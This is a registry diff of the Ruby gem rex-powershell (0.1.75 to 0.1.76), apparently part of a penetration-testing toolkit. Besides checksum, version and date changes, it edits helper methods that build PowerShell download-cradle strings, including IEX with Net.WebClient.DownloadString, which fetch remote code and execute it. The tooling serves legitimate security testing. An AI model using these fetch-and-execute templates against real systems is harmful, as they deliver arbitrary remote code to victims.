rex-powershell 0.1.75 → 0.1.76

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 8df50450c5b08d320bbe1e4c5c8bf588ec79c379
4
- data.tar.gz: ac24dc2a5d73c0fa27c8824b154b6988078fbbcf
3
+ metadata.gz: d80db88d42b0fd94ed98cd51c75f5fb60ac8acdf
4
+ data.tar.gz: 836db80b5f1720386c7cc55965680b54bc92fb8c
5
5
  SHA512:
6
- metadata.gz: e881e86dc2e6766940499e636bd0465f2b592b4ef3059f005306163c60c553e5a26631775d9263284002f7f35fe6373eb2c3f4a5e3364e019536101af389ced1
7
- data.tar.gz: 942aa831e1517f61b14928e3c609d9611dc453fee274336a31c8cc65fcba4f0dcb74a56637982e1376152dbad305cc30bd120b1d7df4c4e1952c95141ceb3475
6
+ metadata.gz: 394b71cc613c8ff3dee940f1261e4bed2aff4aefda0b26b94db2bb2efea5e0d743b9385f9e1a467e88f6533b681ef8f325caef462a9ba3382e34723fcdf02874
7
+ data.tar.gz: c17e1e404b766e86e37c974d914a328d3d5d5f98934add9e0f0dc9e8eb9faeb2fc3d94fee8ae017227c6de00a9e205144f783df7cd0d2bc4fb241a77b28f9160
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -16,7 +16,7 @@ module Powershell
16
16
  # @return [String] Powershell code to download a file
17
17
  def self.download(src, target)
18
18
  target ||= '$pwd\\' << src.split('/').last
19
- %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
19
+ %Q^(new-object System.Net.WebClient).DownloadFile('#{src}', '#{target}')^
20
20
  end
21
21
 
22
22
  #
@@ -82,9 +82,9 @@ module Powershell
82
82
  # @return [String] PowerShell code to download and exec the url
83
83
  def self.download_and_exec_string(url, iex = true)
84
84
  if iex
85
- %Q^ IEX ((new-object net.webclient).downloadstring('#{url}'))^
85
+ %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'))^
86
86
  else
87
- %Q^&([scriptblock]::create((new-object net.webclient).downloadstring('#{url}')))^
87
+ %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')))^
88
88
  end
89
89
  end
90
90
 
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.75"
3
+ VERSION = "0.1.76"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.75
4
+ version: 0.1.76
5
5
  platform: ruby
6
6
  authors:
7
7
  - David 'thelightcosine' Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2017-08-24 00:00:00.000000000 Z
91
+ date: 2017-09-23 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
@@ -212,7 +212,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
212
212
  version: '0'
213
213
  requirements: []
214
214
  rubyforge_project:
215
- rubygems_version: 2.6.8
215
+ rubygems_version: 2.6.13
216
216
  signing_key:
217
217
  specification_version: 4
218
218
  summary: Rex Powershell Utilities
metadata.gz.sig CHANGED
Binary file